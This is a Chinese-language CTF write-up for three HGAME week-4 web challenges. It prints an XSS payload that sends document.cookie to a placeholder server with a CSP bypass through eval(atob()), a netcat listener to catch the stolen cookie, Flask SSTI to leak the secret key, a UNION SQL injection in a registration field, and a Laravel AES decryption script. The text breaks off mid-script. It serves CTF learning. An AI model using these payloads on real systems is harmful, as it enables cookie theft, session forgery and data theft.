HGAME-Week4-Web writeup
- 2019 年 10 月 8 日
- 笔记
来呀!来呀!关注我吧!!
【300pt】happyXss
检测过滤
根据题目叙述 先拿上一次的payload试一下

我们发现网站后台将传入的 <script>
替换成Happy。但是前边和后边的数据并没有被过滤,但是后边的会被当成前边标签的属性,因此尝试修改下前边的数据。

由此可见后台还对一些关键字进行替换

构造payload
经过测试发现并没有对 eval() 函数 和src 属性进行过滤, 但是经过测试及查询发现src属性由于 CSP内容安全策略 无法调用外部脚本。
但是可以使用编码的形式进行绕过 (1)base64编码 eval(atob(内容的base64形式))
(2)ascill码 eval (String.fromCharCode(内容的ascill码形式))
这里直接采用base64编码 进行绕过 构造payload:
<script >eval(atob('这段为payload的base64形式'))</script >
需要base64加密的payload 如下
window.location.href="//xxx.xxx.xxx.xxx:xx/?"+document.cookie
服务器配置
登录服务器以后 使用nc -lnvp 2017 来达到监听2017端口流量。 之后提交我们xss的payload ,经过后台bot访问后,我们服务器的2017端口就可以收到数据反馈。
使用burp POST数据并获取flag
页面有点难用,此时直接尝试burpsuite发包打payload

然后查看服务器,getflag

【300pt】happyPython
打开题目,发现是flask,有注册和登陆功能,尝试发现URL处存在SSTI(服务器模板注入)

经过一番尝试,发现WAF掉了小括号(命令执行的话很多操作会用到),猜测是伪造cookie登陆admin。
使用payload:{{config}} 可以获得secret_key

flask_session参考:[https://www.anquanke.com/post/id/163975


发现可疑参数_id,改为1,然后使用伪造cookie登陆即可获得flag

【300pt】happyPHP
拿到题目,先看一波,功能有登陆,注册。 此时尝试注册登陆,登陆后,发现如下hint。

此时获取到源码,我们可以进行源码审计了。 在看git的时候,切记要看一下历史记录,可能会有新收获
审计源码
该题目是使用 PHP的laravel框架 搭建 部署的。要想灵活审计此类题目,我们需要先了解一下laravel框架的结构。 此时,我们先从routes/web.php开始,也就是从路由开始,先分析一下,一共多少页面,实现了哪些功能 。
Route::get('/', 'StaticPagesController@home')->name('home'); Route::get('/register','UsersController@register')->name('register'); Route::get('/login','UsersController@login')->name('login'); Route::get('/users', 'UsersController@show')->name('users.show'); Route::post('/users', 'UsersController@store')->name('users.store'); Route::post('/login', 'SessionsController@store')->name('login'); Route::get('/logout', 'SessionsController@destroy')->name('logout');
拿第一行来举例,意思是,根目录会发送给StaticPagesController下的home方法进行解析。
在laravel中 ,核心代码在app文件夹内,此时我们从中可以找出StaticPagesController.php。进而分析
<? class StaticPagesController extends Controller { public function home() { return view('static_pages/home'); } }
可以发现,此时他return了一个view。也就是直接渲染一个模板。模板文件我们可以在/resources/views文件夹内找到。不过暂时我们不对模板文件进行审计。先从路由中的几个方法入手,分析其项目逻辑。在这里就不做过多介绍。
解题
通过对源码的分析,我们可以发现一个可疑的点。如下第25行。

这行语句的意思是,从数据找出一条name=xxx的数据,然后将他的name给我。**
显而易见,这是句废话,而且分析还可以发现,该处没有对单引号进行过滤。
(p.s.在laravel中,有更安全的数据库查询方式,一般是不会使用拼接字符串的。疑点+1)
此时尝试对这个点进行注入。
我们在注册的时候,会为name赋值。此时我们尝试读取admin的email。payload如下。
iiiiaa' union select email from `users` where `name`='admin
注册时name填写payload即可。然后登陆即可发现注入结果。同理可得密码。
email:[email protected] password:eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ==
此时发现password是加密后的。我们在回到源码进行分析。可以发现,在注册的时候,他进行了加密。
翻阅资料,以及看config,可以发现它采用AES-256-CBC加密,key在.env文件中(git历史记录有)。然后解密即可。解密脚本如下:
# -*- coding: utf-8 -*- from Crypto.Cipher import AES import base64 import json key = '9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ=' enc = 'eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ==' enc_obj = json.loads(base64.b64decode(enc)) iv = base64.b64decode(enc_obj['iv']) value = base64.b64decode(enc_obj['value']) key = base64.b64decode(key) PADDING = '